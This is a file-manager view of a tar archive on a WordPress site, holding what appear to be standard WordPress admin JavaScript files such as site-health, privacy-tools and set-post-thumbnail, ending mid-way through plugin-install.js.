File manager - Edit - /home/xfekoga/rooftopcleaners/wp-includes/widgets/js.tar
Back
svg-painter.min.js 0000644 00000003037 15174417325 0010137 0 ustar 00 /*! This file is auto-generated */ window.wp=window.wp||{},wp.svgPainter=function(a,i){"use strict";var n,t,s={},o=[];return a(function(){wp.svgPainter.init()}),{init:function(){t=this,n=a("#adminmenu .wp-menu-image, #wpadminbar .ab-item"),t.setColors(),t.findElements(),t.paint()},setColors:function(n){(n=void 0===n&&void 0!==i._wpColorScheme?i._wpColorScheme:n)&&n.icons&&n.icons.base&&n.icons.current&&n.icons.focus&&(s=n.icons)},findElements:function(){n.each(function(){var n=a(this),e=n.css("background-image");e&&-1!=e.indexOf("data:image/svg+xml;base64")&&o.push(n)})},paint:function(){a.each(o,function(n,e){var a=e.parent().parent();a.hasClass("current")||a.hasClass("wp-has-current-submenu")?t.paintElement(e,"current"):(t.paintElement(e,"base"),a.on("mouseenter",function(){t.paintElement(e,"focus")}).on("mouseleave",function(){i.setTimeout(function(){t.paintElement(e,"base")},100)}))})},paintElement:function(n,e){var a,t;if(e&&s.hasOwnProperty(e)&&(e=s[e]).match(/^(#[0-9a-f]{3}|#[0-9a-f]{6})$/i)&&"none"!==(a=n.data("wp-ui-svg-"+e))){if(!a){if(!(t=n.css("background-image").match(/.+data:image\/svg\+xml;base64,([A-Za-z0-9\+\/\=]+)/))||!t[1])return void n.data("wp-ui-svg-"+e,"none");try{a=i.atob(t[1])}catch(n){}if(!a)return void n.data("wp-ui-svg-"+e,"none");a=(a=(a=a.replace(/fill="(.+?)"/g,'fill="'+e+'"')).replace(/style="(.+?)"/g,'style="fill:'+e+'"')).replace(/fill:.*?;/g,"fill: "+e+";"),a=i.btoa(a),n.data("wp-ui-svg-"+e,a)}n.attr("style",'background-image: url("data:image/svg+xml;base64,'+a+'") !important;')}}}}(jQuery,window,document); media-gallery.min.js 0000644 00000001143 15174417325 0010410 0 ustar 00 /*! This file is auto-generated */ jQuery(function(o){o("body").on("click.wp-gallery",function(a){var e,t,n=o(a.target);n.hasClass("wp-set-header")?((window.dialogArguments||opener||parent||top).location.href=n.data("location"),a.preventDefault()):n.hasClass("wp-set-background")&&(n=n.data("attachment-id"),e=o('input[name="attachments['+n+'][image-size]"]:checked').val(),t=o("#_wpnonce").val()&&"",jQuery.post(ajaxurl,{action:"set-background-image",attachment_id:n,_ajax_nonce:t,size:e},function(){var a=window.dialogArguments||opener||parent||top;a.tb_remove(),a.location.reload()}),a.preventDefault())})}); set-post-thumbnail.min.js 0000644 00000001154 15174417325 0011435 0 ustar 00 /*! This file is auto-generated */ window.WPSetAsThumbnail=function(n,t){var a=jQuery("a#wp-post-thumbnail-"+n);a.text(wp.i18n.__("Saving\u2026")),jQuery.post(ajaxurl,{action:"set-post-thumbnail",post_id:post_id,thumbnail_id:n,_ajax_nonce:t,cookie:encodeURIComponent(document.cookie)},function(t){var e=window.dialogArguments||opener||parent||top;a.text(wp.i18n.__("Use as featured image")),"0"==t?alert(wp.i18n.__("Could not set that as the thumbnail image. Try a different attachment.")):(jQuery("a.wp-post-thumbnail").show(),a.text(wp.i18n.__("Done")),a.fadeOut(2e3),e.WPSetThumbnailID(n),e.WPSetThumbnailHTML(t))})}; site-health.min.js 0000644 00000014212 15174417325 0010104 0 ustar 00 /*! This file is auto-generated */ jQuery(function(o){var a,l=wp.i18n.__,n=wp.i18n._n,r=wp.i18n.sprintf,e=new ClipboardJS(".site-health-copy-buttons .copy-button"),c=o(".health-check-body.health-check-status-tab").length,t=o(".health-check-body.health-check-debug-tab").length,i=o("#health-check-accordion-block-wp-paths-sizes"),h=o("#adminmenu .site-health-counter"),u=o("#adminmenu .site-health-counter .count");function d(e){var t,s,a=wp.template("health-check-issue"),i=o("#health-check-issues-"+e.status);!function(e){var t,s,a,i,n={test:"string",label:"string",description:"string"},o=!0;if("object"==typeof e){for(t in n)if("object"==typeof(s=n[t]))for(a in s)i=s[a],void 0!==e[t]&&void 0!==e[t][a]&&i===typeof e[t][a]||(o=!1);else void 0!==e[t]&&s===typeof e[t]||(o=!1);return o}}(e)||(SiteHealth.site_status.issues[e.status]++,s=SiteHealth.site_status.issues[e.status],void 0===e.test&&(e.test=e.status+s),"critical"===e.status?t=r(n("%s critical issue","%s critical issues",s),'<span class="issue-count">'+s+"</span>"):"recommended"===e.status?t=r(n("%s recommended improvement","%s recommended improvements",s),'<span class="issue-count">'+s+"</span>"):"good"===e.status&&(t=r(n("%s item with no issues detected","%s items with no issues detected",s),'<span class="issue-count">'+s+"</span>")),t&&o(".site-health-issue-count-title",i).html(t),u.text(SiteHealth.site_status.issues.critical),0<parseInt(SiteHealth.site_status.issues.critical,0)?(o("#health-check-issues-critical").removeClass("hidden"),h.removeClass("count-0")):h.addClass("count-0"),0<parseInt(SiteHealth.site_status.issues.recommended,0)&&o("#health-check-issues-recommended").removeClass("hidden"),o(".issues","#health-check-issues-"+e.status).append(a(e)))}function p(){var e=o(".site-health-progress"),t=e.closest(".site-health-progress-wrapper"),s=o(".site-health-progress-label",t),a=o(".site-health-progress svg #bar"),i=parseInt(SiteHealth.site_status.issues.good,0)+parseInt(SiteHealth.site_status.issues.recommended,0)+1.5*parseInt(SiteHealth.site_status.issues.critical,0),n=.5*parseInt(SiteHealth.site_status.issues.recommended,0)+1.5*parseInt(SiteHealth.site_status.issues.critical,0),n=100-Math.ceil(n/i*100);0===i?e.addClass("hidden"):(t.removeClass("loading"),i=a.attr("r"),e=Math.PI*(2*i),a.css({strokeDashoffset:(100-(n=100<(n=n<0?0:n)?100:n))/100*e+"px"}),80<=n&&0===parseInt(SiteHealth.site_status.issues.critical,0)?(t.addClass("green").removeClass("orange"),s.text(l("Good")),g("good")):(t.addClass("orange").removeClass("green"),s.text(l("Should be improved")),g("improvable")),c&&(o.post(ajaxurl,{action:"health-check-site-status-result",_wpnonce:SiteHealth.nonce.site_status_result,counts:SiteHealth.site_status.issues}),100===n)&&(o(".site-status-all-clear").removeClass("hide"),o(".site-status-has-issues").addClass("hide")))}function m(e,t){e={status:"recommended",label:l("A test is unavailable"),badge:{color:"red",label:l("Unavailable")},description:"<p>"+e+"</p><p>"+t+"</p>",actions:""};d(wp.hooks.applyFilters("site_status_test_result",e))}function s(){var t=(new Date).getTime(),s=window.setTimeout(function(){g("waiting-for-directory-sizes")},3e3);wp.apiRequest({path:"/wp-site-health/v1/directory-sizes"}).done(function(e){var a,s;a=e||{},e=o("button.button.copy-button"),s=e.attr("data-clipboard-text"),o.each(a,function(e,t){t=t.debug||t.size;void 0!==t&&(s=s.replace(e+": loading...",e+": "+t))}),e.attr("data-clipboard-text",s),i.find("td[class]").each(function(e,t){var t=o(t),s=t.attr("class");a.hasOwnProperty(s)&&a[s].size&&t.text(a[s].size)})}).always(function(){var e=(new Date).getTime()-t;o(".health-check-wp-paths-sizes.spinner").css("visibility","hidden"),3e3<e?(e=6e3<e?0:6500-e,window.setTimeout(function(){p()},e)):window.clearTimeout(s),o(document).trigger("site-health-info-dirsizes-done")})}function g(e){if("site-health"===SiteHealth.screen)switch(e){case"good":wp.a11y.speak(l("All site health tests have finished running. Your site is looking good."));break;case"improvable":wp.a11y.speak(l("All site health tests have finished running. There are items that should be addressed."));break;case"waiting-for-directory-sizes":wp.a11y.speak(l("Running additional tests... please wait."))}}e.on("success",function(e){var t=o(e.trigger),s=o(".success",t.closest("div"));e.clearSelection(),clearTimeout(a),s.removeClass("hidden"),a=setTimeout(function(){s.addClass("hidden")},3e3),wp.a11y.speak(l("Site information has been copied to your clipboard."))}),o(".health-check-accordion").on("click",".health-check-accordion-trigger",function(){"true"===o(this).attr("aria-expanded")?(o(this).attr("aria-expanded","false"),o("#"+o(this).attr("aria-controls")).attr("hidden",!0)):(o(this).attr("aria-expanded","true"),o("#"+o(this).attr("aria-controls")).attr("hidden",!1))}),o(".site-health-view-passed").on("click",function(){var e=o("#health-check-issues-good");e.toggleClass("hidden"),o(this).attr("aria-expanded",!e.hasClass("hidden"))}),"undefined"!=typeof SiteHealth&&(0===SiteHealth.site_status.direct.length&&0===SiteHealth.site_status.async.length?p():SiteHealth.site_status.issues={good:0,recommended:0,critical:0},0<SiteHealth.site_status.direct.length&&o.each(SiteHealth.site_status.direct,function(){d(this)}),(0<SiteHealth.site_status.async.length?function t(){var s=!0;1<=SiteHealth.site_status.async.length&&o.each(SiteHealth.site_status.async,function(){var e={action:"health-check-"+this.test.replace("_","-"),_wpnonce:SiteHealth.nonce.site_status};return!!this.completed||(s=!1,this.completed=!0,(void 0!==this.has_rest&&this.has_rest?wp.apiRequest({url:wp.url.addQueryArgs(this.test,{_locale:"user"}),headers:this.headers}).done(function(e){d(wp.hooks.applyFilters("site_status_test_result",e))}).fail(function(e){e=void 0!==e.responseJSON&&void 0!==e.responseJSON.message?e.responseJSON.message:l("No details available"),m(this.url,e)}):o.post(ajaxurl,e).done(function(e){d(wp.hooks.applyFilters("site_status_test_result",e.data))}).fail(function(e){e=void 0!==e.responseJSON&&void 0!==e.responseJSON.message?e.responseJSON.message:l("No details available"),m(this.url,e)})).always(function(){t()}),!1)}),s&&p()}:p)()),t&&(i.length?s:p)(),o(".health-check-offscreen-nav-wrapper").on("click",function(){o(this).toggleClass("visible")})}); privacy-tools.js 0000644 00000025253 15174417325 0007735 0 ustar 00 /** * Interactions used by the User Privacy tools in WordPress. * * @output wp-admin/js/privacy-tools.js */ // Privacy request action handling. jQuery( function( $ ) { var __ = wp.i18n.__, copiedNoticeTimeout; function setActionState( $action, state ) { $action.children().addClass( 'hidden' ); $action.children( '.' + state ).removeClass( 'hidden' ); } function clearResultsAfterRow( $requestRow ) { $requestRow.removeClass( 'has-request-results' ); if ( $requestRow.next().hasClass( 'request-results' ) ) { $requestRow.next().remove(); } } function appendResultsAfterRow( $requestRow, classes, summaryMessage, additionalMessages ) { var itemList = '', resultRowClasses = 'request-results'; clearResultsAfterRow( $requestRow ); if ( additionalMessages.length ) { $.each( additionalMessages, function( index, value ) { itemList = itemList + '<li>' + value + '</li>'; }); itemList = '<ul>' + itemList + '</ul>'; } $requestRow.addClass( 'has-request-results' ); if ( $requestRow.hasClass( 'status-request-confirmed' ) ) { resultRowClasses = resultRowClasses + ' status-request-confirmed'; } if ( $requestRow.hasClass( 'status-request-failed' ) ) { resultRowClasses = resultRowClasses + ' status-request-failed'; } $requestRow.after( function() { return '<tr class="' + resultRowClasses + '"><th colspan="5">' + '<div class="notice inline notice-alt ' + classes + '" role="alert">' + '<p>' + summaryMessage + '</p>' + itemList + '</div>' + '</td>' + '</tr>'; }); } $( '.export-personal-data-handle' ).on( 'click', function( event ) { var $this = $( this ), $action = $this.parents( '.export-personal-data' ), $requestRow = $this.parents( 'tr' ), $progress = $requestRow.find( '.export-progress' ), $rowActions = $this.parents( '.row-actions' ), requestID = $action.data( 'request-id' ), nonce = $action.data( 'nonce' ), exportersCount = $action.data( 'exporters-count' ), sendAsEmail = $action.data( 'send-as-email' ) ? true : false; event.preventDefault(); event.stopPropagation(); $rowActions.addClass( 'processing' ); $action.trigger( 'blur' ); clearResultsAfterRow( $requestRow ); setExportProgress( 0 ); function onExportDoneSuccess( zipUrl ) { var summaryMessage = __( 'This user’s personal data export link was sent.' ); if ( 'undefined' !== typeof zipUrl ) { summaryMessage = __( 'This user’s personal data export file was downloaded.' ); } setActionState( $action, 'export-personal-data-success' ); appendResultsAfterRow( $requestRow, 'notice-success', summaryMessage, [] ); if ( 'undefined' !== typeof zipUrl ) { window.location = zipUrl; } else if ( ! sendAsEmail ) { onExportFailure( __( 'No personal data export file was generated.' ) ); } setTimeout( function() { $rowActions.removeClass( 'processing' ); }, 500 ); } function onExportFailure( errorMessage ) { var summaryMessage = __( 'An error occurred while attempting to export personal data.' ); setActionState( $action, 'export-personal-data-failed' ); if ( errorMessage ) { appendResultsAfterRow( $requestRow, 'notice-error', summaryMessage, [ errorMessage ] ); } setTimeout( function() { $rowActions.removeClass( 'processing' ); }, 500 ); } function setExportProgress( exporterIndex ) { var progress = ( exportersCount > 0 ? exporterIndex / exportersCount : 0 ), progressString = Math.round( progress * 100 ).toString() + '%'; $progress.html( progressString ); } function doNextExport( exporterIndex, pageIndex ) { $.ajax( { url: window.ajaxurl, data: { action: 'wp-privacy-export-personal-data', exporter: exporterIndex, id: requestID, page: pageIndex, security: nonce, sendAsEmail: sendAsEmail }, method: 'post' } ).done( function( response ) { var responseData = response.data; if ( ! response.success ) { // e.g. invalid request ID. setTimeout( function() { onExportFailure( response.data ); }, 500 ); return; } if ( ! responseData.done ) { setTimeout( doNextExport( exporterIndex, pageIndex + 1 ) ); } else { setExportProgress( exporterIndex ); if ( exporterIndex < exportersCount ) { setTimeout( doNextExport( exporterIndex + 1, 1 ) ); } else { setTimeout( function() { onExportDoneSuccess( responseData.url ); }, 500 ); } } }).fail( function( jqxhr, textStatus, error ) { // e.g. Nonce failure. setTimeout( function() { onExportFailure( error ); }, 500 ); }); } // And now, let's begin. setActionState( $action, 'export-personal-data-processing' ); doNextExport( 1, 1 ); }); $( '.remove-personal-data-handle' ).on( 'click', function( event ) { var $this = $( this ), $action = $this.parents( '.remove-personal-data' ), $requestRow = $this.parents( 'tr' ), $progress = $requestRow.find( '.erasure-progress' ), $rowActions = $this.parents( '.row-actions' ), requestID = $action.data( 'request-id' ), nonce = $action.data( 'nonce' ), erasersCount = $action.data( 'erasers-count' ), hasRemoved = false, hasRetained = false, messages = []; event.preventDefault(); event.stopPropagation(); $rowActions.addClass( 'processing' ); $action.trigger( 'blur' ); clearResultsAfterRow( $requestRow ); setErasureProgress( 0 ); function onErasureDoneSuccess() { var summaryMessage = __( 'No personal data was found for this user.' ), classes = 'notice-success'; setActionState( $action, 'remove-personal-data-success' ); if ( false === hasRemoved ) { if ( false === hasRetained ) { summaryMessage = __( 'No personal data was found for this user.' ); } else { summaryMessage = __( 'Personal data was found for this user but was not erased.' ); classes = 'notice-warning'; } } else { if ( false === hasRetained ) { summaryMessage = __( 'All of the personal data found for this user was erased.' ); } else { summaryMessage = __( 'Personal data was found for this user but some of the personal data found was not erased.' ); classes = 'notice-warning'; } } appendResultsAfterRow( $requestRow, classes, summaryMessage, messages ); setTimeout( function() { $rowActions.removeClass( 'processing' ); }, 500 ); } function onErasureFailure() { var summaryMessage = __( 'An error occurred while attempting to find and erase personal data.' ); setActionState( $action, 'remove-personal-data-failed' ); appendResultsAfterRow( $requestRow, 'notice-error', summaryMessage, [] ); setTimeout( function() { $rowActions.removeClass( 'processing' ); }, 500 ); } function setErasureProgress( eraserIndex ) { var progress = ( erasersCount > 0 ? eraserIndex / erasersCount : 0 ), progressString = Math.round( progress * 100 ).toString() + '%'; $progress.html( progressString ); } function doNextErasure( eraserIndex, pageIndex ) { $.ajax({ url: window.ajaxurl, data: { action: 'wp-privacy-erase-personal-data', eraser: eraserIndex, id: requestID, page: pageIndex, security: nonce }, method: 'post' }).done( function( response ) { var responseData = response.data; if ( ! response.success ) { setTimeout( function() { onErasureFailure(); }, 500 ); return; } if ( responseData.items_removed ) { hasRemoved = hasRemoved || responseData.items_removed; } if ( responseData.items_retained ) { hasRetained = hasRetained || responseData.items_retained; } if ( responseData.messages ) { messages = messages.concat( responseData.messages ); } if ( ! responseData.done ) { setTimeout( doNextErasure( eraserIndex, pageIndex + 1 ) ); } else { setErasureProgress( eraserIndex ); if ( eraserIndex < erasersCount ) { setTimeout( doNextErasure( eraserIndex + 1, 1 ) ); } else { setTimeout( function() { onErasureDoneSuccess(); }, 500 ); } } }).fail( function() { setTimeout( function() { onErasureFailure(); }, 500 ); }); } // And now, let's begin. setActionState( $action, 'remove-personal-data-processing' ); doNextErasure( 1, 1 ); }); // Privacy Policy page, copy action. $( document ).on( 'click', function( event ) { var $parent, range, $target = $( event.target ), copiedNotice = $target.siblings( '.success' ); clearTimeout( copiedNoticeTimeout ); if ( $target.is( 'button.privacy-text-copy' ) ) { $parent = $target.closest( '.privacy-settings-accordion-panel' ); if ( $parent.length ) { try { var documentPosition = document.documentElement.scrollTop, bodyPosition = document.body.scrollTop; // Setup copy. window.getSelection().removeAllRanges(); // Hide tutorial content to remove from copied content. range = document.createRange(); $parent.addClass( 'hide-privacy-policy-tutorial' ); // Copy action. range.selectNodeContents( $parent[0] ); window.getSelection().addRange( range ); document.execCommand( 'copy' ); // Reset section. $parent.removeClass( 'hide-privacy-policy-tutorial' ); window.getSelection().removeAllRanges(); // Return scroll position - see #49540. if ( documentPosition > 0 && documentPosition !== document.documentElement.scrollTop ) { document.documentElement.scrollTop = documentPosition; } else if ( bodyPosition > 0 && bodyPosition !== document.body.scrollTop ) { document.body.scrollTop = bodyPosition; } // Display and speak notice to indicate action complete. copiedNotice.addClass( 'visible' ); wp.a11y.speak( __( 'The suggested policy text has been copied to your clipboard.' ) ); // Delay notice dismissal. copiedNoticeTimeout = setTimeout( function() { copiedNotice.removeClass( 'visible' ); }, 3000 ); } catch ( er ) {} } } }); // Label handling to focus the create page button on Privacy settings page. $( 'body.options-privacy-php label[for=create-page]' ).on( 'click', function( e ) { e.preventDefault(); $( 'input#create-page' ).trigger( 'focus' ); } ); // Accordion handling in various new Privacy settings pages. $( '.privacy-settings-accordion' ).on( 'click', '.privacy-settings-accordion-trigger', function() { var isExpanded = ( 'true' === $( this ).attr( 'aria-expanded' ) ); if ( isExpanded ) { $( this ).attr( 'aria-expanded', 'false' ); $( '#' + $( this ).attr( 'aria-controls' ) ).attr( 'hidden', true ); } else { $( this ).attr( 'aria-expanded', 'true' ); $( '#' + $( this ).attr( 'aria-controls' ) ).attr( 'hidden', false ); } } ); }); user-suggest.min.js 0000644 00000001244 15174417325 0010333 0 ustar 00 /*! This file is auto-generated */ !function(a){var n="undefined"!=typeof current_site_id?"&site_id="+current_site_id:"";a(function(){var i={offset:"0, -1"};"undefined"!=typeof isRtl&&isRtl&&(i.my="right top",i.at="right bottom"),a(".wp-suggest-user").each(function(){var e=a(this),t=void 0!==e.data("autocompleteType")?e.data("autocompleteType"):"add",o=void 0!==e.data("autocompleteField")?e.data("autocompleteField"):"user_login";e.autocomplete({source:ajaxurl+"?action=autocomplete-user&autocomplete_type="+t+"&autocomplete_field="+o+n,delay:500,minLength:2,position:i,open:function(){a(this).addClass("open")},close:function(){a(this).removeClass("open")}})})})}(jQuery); site-health.js 0000644 00000032231 15174417325 0007323 0 ustar 00 /** * Interactions used by the Site Health modules in WordPress. * * @output wp-admin/js/site-health.js */ /* global ajaxurl, ClipboardJS, SiteHealth, wp */ jQuery( function( $ ) { var __ = wp.i18n.__, _n = wp.i18n._n, sprintf = wp.i18n.sprintf, clipboard = new ClipboardJS( '.site-health-copy-buttons .copy-button' ), isStatusTab = $( '.health-check-body.health-check-status-tab' ).length, isDebugTab = $( '.health-check-body.health-check-debug-tab' ).length, pathsSizesSection = $( '#health-check-accordion-block-wp-paths-sizes' ), menuCounterWrapper = $( '#adminmenu .site-health-counter' ), menuCounter = $( '#adminmenu .site-health-counter .count' ), successTimeout; // Debug information copy section. clipboard.on( 'success', function( e ) { var triggerElement = $( e.trigger ), successElement = $( '.success', triggerElement.closest( 'div' ) ); // Clear the selection and move focus back to the trigger. e.clearSelection(); // Show success visual feedback. clearTimeout( successTimeout ); successElement.removeClass( 'hidden' ); // Hide success visual feedback after 3 seconds since last success. successTimeout = setTimeout( function() { successElement.addClass( 'hidden' ); }, 3000 ); // Handle success audible feedback. wp.a11y.speak( __( 'Site information has been copied to your clipboard.' ) ); } ); // Accordion handling in various areas. $( '.health-check-accordion' ).on( 'click', '.health-check-accordion-trigger', function() { var isExpanded = ( 'true' === $( this ).attr( 'aria-expanded' ) ); if ( isExpanded ) { $( this ).attr( 'aria-expanded', 'false' ); $( '#' + $( this ).attr( 'aria-controls' ) ).attr( 'hidden', true ); } else { $( this ).attr( 'aria-expanded', 'true' ); $( '#' + $( this ).attr( 'aria-controls' ) ).attr( 'hidden', false ); } } ); // Site Health test handling. $( '.site-health-view-passed' ).on( 'click', function() { var goodIssuesWrapper = $( '#health-check-issues-good' ); goodIssuesWrapper.toggleClass( 'hidden' ); $( this ).attr( 'aria-expanded', ! goodIssuesWrapper.hasClass( 'hidden' ) ); } ); /** * Validates the Site Health test result format. * * @since 5.6.0 * * @param {Object} issue * * @return {boolean} */ function validateIssueData( issue ) { // Expected minimum format of a valid SiteHealth test response. var minimumExpected = { test: 'string', label: 'string', description: 'string' }, passed = true, key, value, subKey, subValue; // If the issue passed is not an object, return a `false` state early. if ( 'object' !== typeof( issue ) ) { return false; } // Loop over expected data and match the data types. for ( key in minimumExpected ) { value = minimumExpected[ key ]; if ( 'object' === typeof( value ) ) { for ( subKey in value ) { subValue = value[ subKey ]; if ( 'undefined' === typeof( issue[ key ] ) || 'undefined' === typeof( issue[ key ][ subKey ] ) || subValue !== typeof( issue[ key ][ subKey ] ) ) { passed = false; } } } else { if ( 'undefined' === typeof( issue[ key ] ) || value !== typeof( issue[ key ] ) ) { passed = false; } } } return passed; } /** * Appends a new issue to the issue list. * * @since 5.2.0 * * @param {Object} issue The issue data. */ function appendIssue( issue ) { var template = wp.template( 'health-check-issue' ), issueWrapper = $( '#health-check-issues-' + issue.status ), heading, count; /* * Validate the issue data format before using it. * If the output is invalid, discard it. */ if ( ! validateIssueData( issue ) ) { return false; } SiteHealth.site_status.issues[ issue.status ]++; count = SiteHealth.site_status.issues[ issue.status ]; // If no test name is supplied, append a placeholder for markup references. if ( typeof issue.test === 'undefined' ) { issue.test = issue.status + count; } if ( 'critical' === issue.status ) { heading = sprintf( _n( '%s critical issue', '%s critical issues', count ), '<span class="issue-count">' + count + '</span>' ); } else if ( 'recommended' === issue.status ) { heading = sprintf( _n( '%s recommended improvement', '%s recommended improvements', count ), '<span class="issue-count">' + count + '</span>' ); } else if ( 'good' === issue.status ) { heading = sprintf( _n( '%s item with no issues detected', '%s items with no issues detected', count ), '<span class="issue-count">' + count + '</span>' ); } if ( heading ) { $( '.site-health-issue-count-title', issueWrapper ).html( heading ); } menuCounter.text( SiteHealth.site_status.issues.critical ); if ( 0 < parseInt( SiteHealth.site_status.issues.critical, 0 ) ) { $( '#health-check-issues-critical' ).removeClass( 'hidden' ); menuCounterWrapper.removeClass( 'count-0' ); } else { menuCounterWrapper.addClass( 'count-0' ); } if ( 0 < parseInt( SiteHealth.site_status.issues.recommended, 0 ) ) { $( '#health-check-issues-recommended' ).removeClass( 'hidden' ); } $( '.issues', '#health-check-issues-' + issue.status ).append( template( issue ) ); } /** * Updates site health status indicator as asynchronous tests are run and returned. * * @since 5.2.0 */ function recalculateProgression() { var r, c, pct; var $progress = $( '.site-health-progress' ); var $wrapper = $progress.closest( '.site-health-progress-wrapper' ); var $progressLabel = $( '.site-health-progress-label', $wrapper ); var $circle = $( '.site-health-progress svg #bar' ); var totalTests = parseInt( SiteHealth.site_status.issues.good, 0 ) + parseInt( SiteHealth.site_status.issues.recommended, 0 ) + ( parseInt( SiteHealth.site_status.issues.critical, 0 ) * 1.5 ); var failedTests = ( parseInt( SiteHealth.site_status.issues.recommended, 0 ) * 0.5 ) + ( parseInt( SiteHealth.site_status.issues.critical, 0 ) * 1.5 ); var val = 100 - Math.ceil( ( failedTests / totalTests ) * 100 ); if ( 0 === totalTests ) { $progress.addClass( 'hidden' ); return; } $wrapper.removeClass( 'loading' ); r = $circle.attr( 'r' ); c = Math.PI * ( r * 2 ); if ( 0 > val ) { val = 0; } if ( 100 < val ) { val = 100; } pct = ( ( 100 - val ) / 100 ) * c + 'px'; $circle.css( { strokeDashoffset: pct } ); if ( 80 <= val && 0 === parseInt( SiteHealth.site_status.issues.critical, 0 ) ) { $wrapper.addClass( 'green' ).removeClass( 'orange' ); $progressLabel.text( __( 'Good' ) ); announceTestsProgression( 'good' ); } else { $wrapper.addClass( 'orange' ).removeClass( 'green' ); $progressLabel.text( __( 'Should be improved' ) ); announceTestsProgression( 'improvable' ); } if ( isStatusTab ) { $.post( ajaxurl, { 'action': 'health-check-site-status-result', '_wpnonce': SiteHealth.nonce.site_status_result, 'counts': SiteHealth.site_status.issues } ); if ( 100 === val ) { $( '.site-status-all-clear' ).removeClass( 'hide' ); $( '.site-status-has-issues' ).addClass( 'hide' ); } } } /** * Queues the next asynchronous test when we're ready to run it. * * @since 5.2.0 */ function maybeRunNextAsyncTest() { var doCalculation = true; if ( 1 <= SiteHealth.site_status.async.length ) { $.each( SiteHealth.site_status.async, function() { var data = { 'action': 'health-check-' + this.test.replace( '_', '-' ), '_wpnonce': SiteHealth.nonce.site_status }; if ( this.completed ) { return true; } doCalculation = false; this.completed = true; if ( 'undefined' !== typeof( this.has_rest ) && this.has_rest ) { wp.apiRequest( { url: wp.url.addQueryArgs( this.test, { _locale: 'user' } ), headers: this.headers } ) .done( function( response ) { /** This filter is documented in wp-admin/includes/class-wp-site-health.php */ appendIssue( wp.hooks.applyFilters( 'site_status_test_result', response ) ); } ) .fail( function( response ) { var description; if ( 'undefined' !== typeof( response.responseJSON ) && 'undefined' !== typeof( response.responseJSON.message ) ) { description = response.responseJSON.message; } else { description = __( 'No details available' ); } addFailedSiteHealthCheckNotice( this.url, description ); } ) .always( function() { maybeRunNextAsyncTest(); } ); } else { $.post( ajaxurl, data ).done( function( response ) { /** This filter is documented in wp-admin/includes/class-wp-site-health.php */ appendIssue( wp.hooks.applyFilters( 'site_status_test_result', response.data ) ); } ).fail( function( response ) { var description; if ( 'undefined' !== typeof( response.responseJSON ) && 'undefined' !== typeof( response.responseJSON.message ) ) { description = response.responseJSON.message; } else { description = __( 'No details available' ); } addFailedSiteHealthCheckNotice( this.url, description ); } ).always( function() { maybeRunNextAsyncTest(); } ); } return false; } ); } if ( doCalculation ) { recalculateProgression(); } } /** * Add the details of a failed asynchronous test to the list of test results. * * @since 5.6.0 */ function addFailedSiteHealthCheckNotice( url, description ) { var issue; issue = { 'status': 'recommended', 'label': __( 'A test is unavailable' ), 'badge': { 'color': 'red', 'label': __( 'Unavailable' ) }, 'description': '<p>' + url + '</p><p>' + description + '</p>', 'actions': '' }; /** This filter is documented in wp-admin/includes/class-wp-site-health.php */ appendIssue( wp.hooks.applyFilters( 'site_status_test_result', issue ) ); } if ( 'undefined' !== typeof SiteHealth ) { if ( 0 === SiteHealth.site_status.direct.length && 0 === SiteHealth.site_status.async.length ) { recalculateProgression(); } else { SiteHealth.site_status.issues = { 'good': 0, 'recommended': 0, 'critical': 0 }; } if ( 0 < SiteHealth.site_status.direct.length ) { $.each( SiteHealth.site_status.direct, function() { appendIssue( this ); } ); } if ( 0 < SiteHealth.site_status.async.length ) { maybeRunNextAsyncTest(); } else { recalculateProgression(); } } function getDirectorySizes() { var timestamp = ( new Date().getTime() ); // After 3 seconds announce that we're still waiting for directory sizes. var timeout = window.setTimeout( function() { announceTestsProgression( 'waiting-for-directory-sizes' ); }, 3000 ); wp.apiRequest( { path: '/wp-site-health/v1/directory-sizes' } ).done( function( response ) { updateDirSizes( response || {} ); } ).always( function() { var delay = ( new Date().getTime() ) - timestamp; $( '.health-check-wp-paths-sizes.spinner' ).css( 'visibility', 'hidden' ); if ( delay > 3000 ) { /* * We have announced that we're waiting. * Announce that we're ready after giving at least 3 seconds * for the first announcement to be read out, or the two may collide. */ if ( delay > 6000 ) { delay = 0; } else { delay = 6500 - delay; } window.setTimeout( function() { recalculateProgression(); }, delay ); } else { // Cancel the announcement. window.clearTimeout( timeout ); } $( document ).trigger( 'site-health-info-dirsizes-done' ); } ); } function updateDirSizes( data ) { var copyButton = $( 'button.button.copy-button' ); var clipboardText = copyButton.attr( 'data-clipboard-text' ); $.each( data, function( name, value ) { var text = value.debug || value.size; if ( typeof text !== 'undefined' ) { clipboardText = clipboardText.replace( name + ': loading...', name + ': ' + text ); } } ); copyButton.attr( 'data-clipboard-text', clipboardText ); pathsSizesSection.find( 'td[class]' ).each( function( i, element ) { var td = $( element ); var name = td.attr( 'class' ); if ( data.hasOwnProperty( name ) && data[ name ].size ) { td.text( data[ name ].size ); } } ); } if ( isDebugTab ) { if ( pathsSizesSection.length ) { getDirectorySizes(); } else { recalculateProgression(); } } // Trigger a class toggle when the extended menu button is clicked. $( '.health-check-offscreen-nav-wrapper' ).on( 'click', function() { $( this ).toggleClass( 'visible' ); } ); /** * Announces to assistive technologies the tests progression status. * * @since 6.4.0 * * @param {string} type The type of message to be announced. * * @return {void} */ function announceTestsProgression( type ) { // Only announce the messages in the Site Health pages. if ( 'site-health' !== SiteHealth.screen ) { return; } switch ( type ) { case 'good': wp.a11y.speak( __( 'All site health tests have finished running. Your site is looking good.' ) ); break; case 'improvable': wp.a11y.speak( __( 'All site health tests have finished running. There are items that should be addressed.' ) ); break; case 'waiting-for-directory-sizes': wp.a11y.speak( __( 'Running additional tests... please wait.' ) ); break; default: return; } } } ); plugin-install.js 0000644 00000015656 15174417325 0010072 0 ustar 00 /** * @file Functionality for the plugin install screens. * * @output wp-admin/js/plugin-install.js */ /* global tb_click, tb_remove, tb_position */ jQuery( function( $ ) { var tbWindow, $iframeBody, $tabbables, $firstTabbable, $lastTabbable, $focusedBefore = $(), $uploadViewToggle = $( '.upload-view-toggle' ), $wrap = $ ( '.wrap' ), $body = $( document.body ); window.tb_position = function() { var width = $( window ).width(), H = $( window ).height() - ( ( 792 < width ) ? 60 : 20 ), W = ( 792 < width ) ? 772 : width - 20; tbWindow = $( '#TB_window' ); if ( tbWindow.length ) { tbWindow.width( W ).height( H ); $( '#TB_iframeContent' ).width( W ).height( H ); tbWindow.css({ 'margin-left': '-' + parseInt( ( W / 2 ), 10 ) + 'px' }); if ( typeof document.body.style.maxWidth !== 'undefined' ) { tbWindow.css({ 'top': '30px', 'margin-top': '0' }); } } return $( 'a.thickbox' ).each( function() { var href = $( this ).attr( 'href' ); if ( ! 